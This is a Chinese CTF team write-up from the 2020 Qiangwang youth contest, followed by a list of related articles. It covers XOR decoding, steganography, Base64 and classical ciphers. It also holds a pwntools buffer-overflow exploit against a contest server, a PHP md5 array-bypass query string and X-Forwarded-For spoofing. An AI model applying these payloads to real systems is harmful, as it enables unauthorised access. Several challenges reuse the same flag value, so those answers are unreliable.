2020强网杯青少赛Pursuing_The_Wind战队WRITEUP
在线文档:https://docs.qq.com/doc/DZkN0RFFaR1ZDdHhD 旧事拾荒,偶遇该文档,既发。
战队信息
战队名称:Pursuing_The_Wind
战队排名:12
解题情况
请粘贴战队排名截图和答题情况截图:
解题过程
2 一切皆可视
操作内容:
下载附件,得到一个Xml,找到了xml的制作来源是https://snap.berkeley.edu,也就是一个可视化编程网站,上传后查看了一下代码,并对代码进行分析。
然后他调用了一个JavaScript的函数,作用也就是异或,然后把异或后的值与一个链表进行比较,判断输入是否正确。所以只需要将链表进行异或解密即可。
(易语言写的,主要是原来有写完的模块,并且为了答题速度~~)
如该题使用自己编写的脚本代码请详细写出,不允许截图
.版本 2 .支持库 spec .程序集 程序集1 .子程序 _启动子程序, 整数型, , 本子程序在程序启动后最先执行 调试输出 (到文本 (Section_Xor ({ 71, 77, 64, 70, 90, 86, 18, 77, 16, 98, 17, 76, 18, 126, 97, 79, 69, 126, 102, 17, 17, 69, 126, 77, 116, 66, 74, 0, 92 }, 33))) 返回 (0) ' 可以根据您的需要返回任意数值 .子程序 Section_Xor, 字节集, 公开 .参数 bin, 字节集 .参数 root, 整数型 .局部变量 i, 整数型 .计次循环首 (取字节集长度 (bin), i) bin [i] = 位异或 (bin [i], root) .计次循环尾 () 返回 (bin) |
flag值:
flag{w3l1C0m3_@nd_G00d_lUck!}
3 Luo_Tianyi
操作内容:
下载附件,得到一个图片,然后图片是洛天依的美照。随后我们看了一下熟悉的图片隐写工具,steghide,随手输入了一下指令(密码是逐渐试错的过程,使用了不下20多个密码最后发现竟然是luotianyi。。)得到flag.txt。
如该题使用自己编写的脚本代码请详细写出,不允许截图
flag值:
flag{8dfe88db-0def-4873-9f17-f9c46bd571b6}
4 git的谜底
操作内容:
第一:我们先打开这个zip压缩包直接解压
发现一个名为enjoy.mid音频文件,打开之后发现音乐貌似还挺好听的
第二:习惯性将隐写术的题用记事本打开,第一眼看见一个花括号,然后发现flag这几个字母
第三:发现这一行英文是倒着的,然后进行提交试了一下
第四:提交上去之后发现做对了然后拿到了一血
如该题使用自己编写的脚本代码请详细写出,不允许截图
flag值:
flag{misc_stegano_is_everywhere}
5 easy_pcap
操作内容:
下载附件, 得到一个流量包,然后我们用Wireshark查看了一下流量包的内容。发现了其流量包中不止一个Base64。
其中一个可能是误导flag,此flag为:flag{This_is_faker}
仔细寻找后,
发现GET /ZmxhZyU3QjElMjdtX0g0Y0tfVjFzaTdfWTB1Ul9Db01wdXRlcl9hd2VTb21lJTdE.php
HTTP/1.1\r\n
进行Base64解码后,得到Flag,%7B和%7D是{}的Hex。
找到了真正的Flag
如该题使用自己编写的脚本代码请详细写出,不允许截图
flag值:
flag{1%27m_H4cK_V1si7_Y0uR_CoMputer_aweSome}
6 问卷调查
操作内容:
进入题目,解答完问卷后,得到flag: flag{少年智则国智,少年强则国强}
如该题使用自己编写的脚本代码请详细写出,不允许截图
flag值:
flag{少年智则国智,少年强则国强}
7 moss
操作内容:
获取题目,打开moss.txt,得到一串摩尔斯密码
使用https://www.bejson.com/enc/morse/进行解密摩尔斯密码,得到flag:FLAG%u7bMOSSISVERYF4NTY%u7d,7b和7d分别是花括号的左边和右边,然后得到falg:flag{mossisveryf4nty}
如该题使用自己编写的脚本代码请详细写出,不允许截图
flag值:
flag{mossisveryf4nty}
8 base64
操作内容:
下载附件,得到两个txt,一个是flag,一个是泄露的密文。
然后经过分析,了解了Base64的加密规则,觉得这个可能是存在自定义密钥,就根据Base64的加密规则,然后解出该Base64的密钥,但Base64密钥给出的不全。看到ABCDEFG什么的,就直接按顺序补齐,后面又来个12345,直接补齐到9,然后填上+/,最后使用苏紫方旋的Base64简易解密工具进行解密,得到flag。
如该题使用自己编写的脚本代码请详细写出,不允许截图
import re ming = 'sadhlkj122i3upoi213456aABSADHKJHLKJSADSADJLKHUOIPQWUEYUGHJ123456789012233165410123123456789123709864hjklhfjldsnfzkpidjskljkamxcvmbcxamvbnm' mi = 'h2QDfRrKfCPsxFDticMpfYTrxtV1yFQMVEyMWPAwXDAxX0IYVZWYVZWvYPnTaZ9uZQQcaZaeaZiTXCPsxtV1yCh4zYLrxCTtxtP2yYVrxOPsxtPsxtV1yCh4zYPsxthqzYl2yRAJf2rHeFImeSyoeGIKhREDfGyKgRIKdb14d3endFy4db12dF5nn' def toBinStr(c): bin_str = bin(ord(c))[2:] bin_str = (8 - len(bin_str)) * '0' + bin_str return bin_str bin_str_arr = ''.join(list(map(toBinStr, ming))) new_str_len = int(len(bin_str_arr) / 6) if int( re.search(r'\.(\d+)', str(len(bin_str_arr) / 6)).groups()[0]) == 0 else len(bin_str_arr) // 6 + 1 print(bin_str_arr) cipher_dict = {} for i in range(new_str_len): bin_str = bin_str_arr[i * 6: i * 6 + 6] if len(bin_str) != 6: bin_str += (6 - len(bin_str)) * '0' cipher_dict[mi[i]] = int(bin_str, 2) print(cipher_dict) new_cipher_tuple = sorted(cipher_dict.items(), key=lambda item: item[1]) print(new_cipher_tuple) new_cipher = '' for (c, i) in new_cipher_tuple: new_cipher += c print(new_cipher, len(new_cipher)) # 输出54位,随后按照顺序补全64位 # LMNOPQRSTuvwxyzUVWXYZabcdefghijklABCDEFGHIJKmnopqrst0123456789+/ # LMNOPQRSTuvwxyzUVWXYZabcdefghiJKlABCDEFGHIJKmnopqrst0123456789+/ # LMNOPQRSTuvwxyzUVWXYZabcdefghijklABCDEFGHIJKmnopqrst0123456789+/ |
flag值:
flag{Base64_1s_S0_F4nta5tic}
10 easy_Crypto
操作内容:
下载附件, 得到一张图片。
题目提示,想到了猪圈密码,从网上找到猪圈密码解密,然后逐个选择,解出结果。
(上图少输入了几个,,下面补齐了一下。)
然后把下划线和花括号加上,得到结果:fpyitlyth__nsiaropiosengcgasstrg{r_e}
如该题使用自己编写的脚本代码请详细写出,不允许截图
flag值:
flag{1%27m_H4cK_V1si7_Y0uR_CoMputer_aweSome}
11 easy_Crypto
操作内容:
打开压缩包文件python文件,发现是异或之后再进行加法计算,所以进行减法后异或。
以下是易语言的代码:
如该题使用自己编写的脚本代码请详细写出,不允许截图
.版本 2 .支持库 spec .子程序 _临时子程序 .局部变量 bin, 字节集 .局部变量 k, 整数型 .局部变量 size, 整数型 bin = { 49, 60, 58, 53, 50, 107, 117, 63, 57, 107, 63, 109, 66, 137, 65, 119, 118, 128, 142, 118, 117, 118, 123, 147, 77, 126, 130, 124, 152, 80, 127, 134, 83, 87, 134, 87, 147, 148, 142, 95, 93, 85 } size = 取字节集长度 (bin) .计次循环首 (size, k) bin [k] = bin [k] - k bin [k] = 位异或 (bin [k], 86) .计次循环尾 () 调试输出 (到文本 (bin)) |
flag值:
flag{1%27m_H4cK_V1si7_Y0uR_CoMputer_aweSome}
13 加减乘除
操作内容:
下载文件后,载入ida,找到main函数并查看伪代码
其中的sub_1260函数和sub_140A需要着重分析
sub_1260()是输出了些字符串,这里输入个name不知道是做啥的,暂且记录下
sub_140A这个函数是一个数学游戏,主要作用是循环读取字符,然后最后要满足=66,字符串不能超过12,每次运算的值不能大于66
分析字符的意思,分别功能对应的字符是abcd
最下面有个值判断,然后调用了sub_1249这个函数
我们分析sub_1249
发现是一个linux的指令
那么这里应该是输出flag的函数了
那么解题方法,先解决数学游戏的问题
咱们用易语言爆破出提交的字符
(使用的易语言代码是下方的易语言代码)
下面是使用易语言爆破的数学运算代码:
.版本 2 .支持库 spec .程序集 窗口程序集_启动窗口 .子程序 Code_Create .局部变量 i, 整数型 .局部变量 a, 文本型 .局部变量 size, 整数型 .计次循环首 (12, size) .计次循环首 (size, i) .计次循环首 (i, ) a = a + “ ” .计次循环尾 () a = a + “.计次循环首 (4, i [” + 到文本 (i) + “])” + #换行符 .计次循环尾 () .计次循环首 (size + 1, ) a = a + “ ” .计次循环尾 () a = a + “.如果真(” .计次循环首 (size, i) a = a + “faa (i [” + 到文本 (size - i + 1) + “],” .计次循环尾 () a = a + “0” .计次循环首 (size, ) a = a + “)” .计次循环尾 () a = a + “==66)” + #换行符 .计次循环首 (size + 2, ) a = a + “ ” .计次循环尾 () a = a + “a=a+dwb(i[1])+dwb(i[2])+dwb(i[3])+dwb(i[4])+dwb(i[5])+dwb(i[6])+dwb(i[7])+dwb(i[8])+dwb(i[9])+dwb(i[10])+dwb(i[11])+dwb(i[12])+#hhf” + #换行符 .计次循环首 (size + 1, ) a = a + “ ” .计次循环尾 () a = a + “.如果真结束” + #换行符 .计次循环首 (size, i) .计次循环首 (-i + 1 + size, ) a = a + “ ” .计次循环尾 () a = a + “.计次循环尾()” + #换行符 .计次循环尾 () .计次循环尾 () 置剪辑板文本 (a) .子程序 __启动窗口_创建完毕 .局部变量 i, 整数型, , "13" .局部变量 a, 文本型 编辑框1.是否允许多行 = 真 Code_Create () 编辑框1.内容 = 取剪辑板文本 () .计次循环首 (4, i [1]) .如果真 (faa (i [1], 0) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环首 (4, i [1]) .计次循环首 (4, i [2]) .如果真 (faa (i [2], faa (i [1], 0)) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环尾 () .计次循环首 (4, i [1]) .计次循环首 (4, i [2]) .计次循环首 (4, i [3]) .如果真 (faa (i [3], faa (i [2], faa (i [1], 0))) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环首 (4, i [1]) .计次循环首 (4, i [2]) .计次循环首 (4, i [3]) .计次循环首 (4, i [4]) .如果真 (faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0)))) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环首 (4, i [1]) .计次循环首 (4, i [2]) .计次循环首 (4, i [3]) .计次循环首 (4, i [4]) .计次循环首 (4, i [5]) .如果真 (faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0))))) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环首 (4, i [1]) .计次循环首 (4, i [2]) .计次循环首 (4, i [3]) .计次循环首 (4, i [4]) .计次循环首 (4, i [5]) .计次循环首 (4, i [6]) .如果真 (faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0)))))) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环首 (4, i [1]) .计次循环首 (4, i [2]) .计次循环首 (4, i [3]) .计次循环首 (4, i [4]) .计次循环首 (4, i [5]) .计次循环首 (4, i [6]) .计次循环首 (4, i [7]) .如果真 (faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0))))))) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环首 (4, i [1]) .计次循环首 (4, i [2]) .计次循环首 (4, i [3]) .计次循环首 (4, i [4]) .计次循环首 (4, i [5]) .计次循环首 (4, i [6]) .计次循环首 (4, i [7]) .计次循环首 (4, i [8]) .如果真 (faa (i [8], faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0)))))))) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环首 (4, i [1]) .计次循环首 (4, i [2]) .计次循环首 (4, i [3]) .计次循环首 (4, i [4]) .计次循环首 (4, i [5]) .计次循环首 (4, i [6]) .计次循环首 (4, i [7]) .计次循环首 (4, i [8]) .计次循环首 (4, i [9]) .如果真 (faa (i [9], faa (i [8], faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0))))))))) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环首 (4, i [1]) .计次循环首 (4, i [2]) .计次循环首 (4, i [3]) .计次循环首 (4, i [4]) .计次循环首 (4, i [5]) .计次循环首 (4, i [6]) .计次循环首 (4, i [7]) .计次循环首 (4, i [8]) .计次循环首 (4, i [9]) .计次循环首 (4, i [10]) .如果真 (faa (i [10], faa (i [9], faa (i [8], faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0)))))))))) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环首 (4, i [1]) .计次循环首 (4, i [2]) .计次循环首 (4, i [3]) .计次循环首 (4, i [4]) .计次循环首 (4, i [5]) .计次循环首 (4, i [6]) .计次循环首 (4, i [7]) .计次循环首 (4, i [8]) .计次循环首 (4, i [9]) .计次循环首 (4, i [10]) .计次循环首 (4, i [11]) .如果真 (faa (i [11], faa (i [10], faa (i [9], faa (i [8], faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0))))))))))) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环首 (4, i [1]) .计次循环首 (4, i [2]) .计次循环首 (4, i [3]) .计次循环首 (4, i [4]) .计次循环首 (4, i [5]) .计次循环首 (4, i [6]) .计次循环首 (4, i [7]) .计次循环首 (4, i [8]) .计次循环首 (4, i [9]) .计次循环首 (4, i [10]) .计次循环首 (4, i [11]) .计次循环首 (4, i [12]) .如果真 (faa (i [12], faa (i [11], faa (i [10], faa (i [9], faa (i [8], faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0)))))))))))) = 66) a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符 .如果真结束 .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () .计次循环尾 () 调试输出 (a) 置剪辑板文本 (a) 子程序1 () .子程序 faa, 整数型 .参数 i, 整数型 .参数 a, 整数型 .如果真 (i = 1) a = a + 4 .如果真结束 .如果真 (i = 2) a = a × 7 .如果真结束 .如果真 (i = 3) a = 到整数 (a ÷ 5) .如果真结束 .如果真 (i = 4) a = 3 .如果真结束 .如果真 (a > 66) a = -9999999999999 .如果真结束 返回 (a) .子程序 子程序1 .局部变量 j, 整数型 .局部变量 sth, 文本型, , "0" .局部变量 i, 整数型 .局部变量 a, 整数型 .局部变量 t, 逻辑型 sth = 分割文本 (取剪辑板文本 (), #换行符, ) .计次循环首 (5, i) a = 0 .计次循环首 (12, j) t = 假 .如果 (t = 假) .如果真 (取文本中间 (sth [i], j, 1) = “1”) a = a + 4 .如果真结束 .如果真 (取文本中间 (sth [i], j, 1) = “2”) a = a × 7 .如果真结束 .如果真 (取文本中间 (sth [i], j, 1) = “3”) a = 到整数 (a ÷ 5) .如果真结束 .如果真 (取文本中间 (sth [i], j, 1) = “4”) a = 3 .如果真结束 .如果真 (a > 66) t = 真 .如果真结束 .否则 跳出循环 () .如果结束 .计次循环尾 () 调试输出 (子文本替换 (子文本替换 (子文本替换 (子文本替换 (sth [i], “1”, “b”, , , 真), “4”, “a”, , , 真), “2”, “c”, , , 真), “3”, “d”, , , 真)) .计次循环尾 () |
然后怎么执行flag的输出函数呢
回到这个判断
有一个40A0地址的值决定了执行
那么怎么更改呢
在一开始输入name的时候,有个字符串,那个地址是不是和这个很接近
那个0x4060的地址,计算偏移(A0-60),写出exp
运行exp得到flag
如该题使用自己编写的脚本代码请详细写出,不允许截图
下面是使用Python写的exp代码:
from pwn import * from struct import * p= remote("182.92.184.215","12345") print(p.recv()) print(p.recv()) print(p.recv()) print(p.recv()) print(p.recv()) print(p.recv()) print(p.recv()) print(p.recv()) print(p.recv()) p.sendline(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') print(p.recv()) '''''' print(p.recv()) print(p.recv()) p.sendline(b'b') p.sendline(b'c') p.sendline(b'b') p.sendline(b'd') p.sendline(b'c') p.sendline(b'b') p.sendline(b'b') p.sendline(b'b') p.sendline(b'b') p.sendline(b'b') p.sendline(b'b') print(p.recv()) print(p.recv()) print(p.recv()) p.sendline(b"icq85111cf79bd01834d8d73c3f5dae8") print(p.recv()) print(p.recv()) |
flag值:
flag{659599c68e85445c3ca6844c2ec78594}
17 签到
操作内容:
获取容器,查看题目提示得到了输入任意字符即可查看,浏览器进入,疯狂回车,得到flag。
如该题使用自己编写的脚本代码请详细写出,不允许截图
flag值:
flag{023025ea-c06e-4ad8-9e26-ec5a0eba3527}
18 easy_http
操作内容:
下发环境后,进入容器里,看到提示需要我们post一下fruit参数,内容为apple。
我们使用浏览器的Hackbar插件,修改地址进行post。
然后看到需要一个Post请求,请求为vegetable,同样使用这个插件进行,进行提交。
然后发现我们需要使用127.0.0.1,我们使用XFF修改IP:X-Forwarded-For: 127.0.0.1
但是没有提示什么flag,我们尝试把提示的信息放到UA里。
最后解出Flag。
如该题使用自己编写的脚本代码请详细写出,不允许截图
flag值:
flag{56b0efb2-c299-40d28fd2-606e3f2f17c2}
22 easy_php
操作内容:
获取容器,进入看到了一串PHP代码,第一步也就是需要使用两个参数绕过php的md5类型,需要两个值不同但不可以md5的数据类型,并且看到第二次和第一次的代码除了变量不同相差无几,就试了试数组绕过。
?a1[1]=001 & a2[1]=02&b1[1]=001 & b2[1]=02
成功绕过两个之后,需要输入一个时间,时间的长度不能大于4而且要和时间戳作比较,所以就想到了使用科学计数法。转换为7e10,最后提交,得到flag。
?a1[1]=001 & a2[1]=02&b1[1]=001 & b2[1]=02&time=7e10
如该题使用自己编写的脚本代码请详细写出,不允许截图
flag值:
flag{7e8e3c64-6213-45fd-a1dc-0d1771ace6dc}
2020强网杯青少赛Pursuing_The_Wind战队WRITEUP的更多相关文章
- 2019 第三届强网杯线上赛部分web复现
0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...
- 2017第二届广东省强网杯线上赛:WEB phone number (SQL注入)
目录 解题思路 总结 解题思路 拿到题目的时候,只有一个登录界面 拿到登录界面,而且还伴随着有注册界面,联想到SQL的二次注入漏洞 尝试注册admin'#,并使用admin登录,发现登录失败,说明可能 ...
- 2017第二届广东省强网杯线上赛--Nonstandard
测试文件:http://static2.ichunqiu.com/icq/resources/fileupload/CTF/echunqiu/qwb/Nonstandard_26195e1832795 ...
- 2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)
目录 解题思路 总结 解题思路 拿到手上,有四个页面 首先按照题目要求执行,尝试注册一个名为admin的账户 这种情况,路径都给出来了,很可能就是目录遍历或者文件上传了 回到初始界面,点击链接here ...
- 第二届强网杯-simplecheck
这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...
- 纠错式教学法对比鼓励式教学法 -----Lily、贝乐、英孚,乐加乐、剑桥国际、优学汇、北外青少
一.关于两种英语教学法的争议 在英语教学方面,主要有纠错式教学法(目前主要对应国内听说读写四位一体的教学法)和鼓励式教学法(目前对应国内听说为主的教学法),这两种教学方法其实是各有千秋,各有利弊的. ...
- 强网杯web之假的反序列化漏洞
说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highl ...
- C# 7 函数 青歌赛打分 天气预报
函数: 数据类型--变量常量--运算符表达式--语句(顺序,分支,循环)--数组--函数 程序里的函数:能完成一个相对独立功的代码块. 数学里的函数:高度抽象. 函数四要素:函数名,输入,输出,加工 ...
- 强网杯2018 pwn复现
前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...
- 2019强网杯babybank wp及浅析
前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...
随机推荐
- 洛谷P4197 Peaks (Kruskal重构树)
读题,只经过困难值小于等于x的路径,容易想到用Kruskal重构树:又要查询第k高的山峰,我们选择用主席树求解. 先做一棵重构树,跑一遍dfs,重构树中每一个非叶子节点对应一段区间,我们开range[ ...
- 从SVN导出项目出现的乱码问题
解决的方法很简单,只需要将Eclipse的编码标准设置为UTF-8即可 1.Window->Preferences->General->Workspace 面板Text file ...
- Linux实战笔记_ 如何远程访问Kali?
注:基于2018年安装的kali版本. 启动ssh服务 /etc/init.d/ssh start 或 service ssh start #启动ssh服务 /etc/init.d/ssh statu ...
- TCP 序列号和确认号是如何变化的?
大家好,我是小林. 在网站上回答了很多人的问题,我发现很多人对 TCP 序列号和确认号的变化都是懵懵懂懂的,只知道三次握手和四次挥手过程中,ACK 报文中确认号要 +1,然后数据传输中 TCP 序列号 ...
- 题解 CF630L Cracking the Code
前言 为什么没有人暴力快速幂啊,Ta不香嘛/kel 题意 设读入为 \(abcde\) ,求 \(acedb^5\mod{10^5}\) 的结果. \(\sf {Solution}\) 显然暴力啊. ...
- Linux--多线程(二)
线程的同步和互斥 基本概念 概述:现在操作系统基本都是多任务的操作系统,同时有大量可以调度的实体在运行.在多任务操作系统当中,同时运行的多个任务可能: 都需要访问/使用同一种资源 多个任务之间有依赖关 ...
- Spring Core rce漏洞分析(CVE-2022-22965)
漏洞描述: Springmvc框架参数绑定功能,绑定了请求里的参数造成变量注入,攻击者可以实现任意文件写入,漏洞点spring-beans包中. 漏洞编号: CVE-2022-22965 影响范围: ...
- 驱动开发:内核层InlineHook挂钩函数
在上一章<驱动开发:内核LDE64引擎计算汇编长度>中,LyShark教大家如何通过LDE64引擎实现计算反汇编指令长度,本章将在此基础之上实现内联函数挂钩,内核中的InlineHook函 ...
- cowsay和ansible
简介 cowsay是一款有趣的ascii图案输出工具,通过它可以方便的输出一头说话的牛牛(马?): # cowsay hello frankming _________________ < he ...
- Go语言核心36讲02
你好,我是郝林,今天我分享的主题是,学习专栏的正确姿势. 到了这里,专栏的全部内容已经都推送到你的面前了.如果你已经同步学习完了,那么我要给你点一个大大的赞! 还没有看完的同学也不要着急,因为推送的速 ...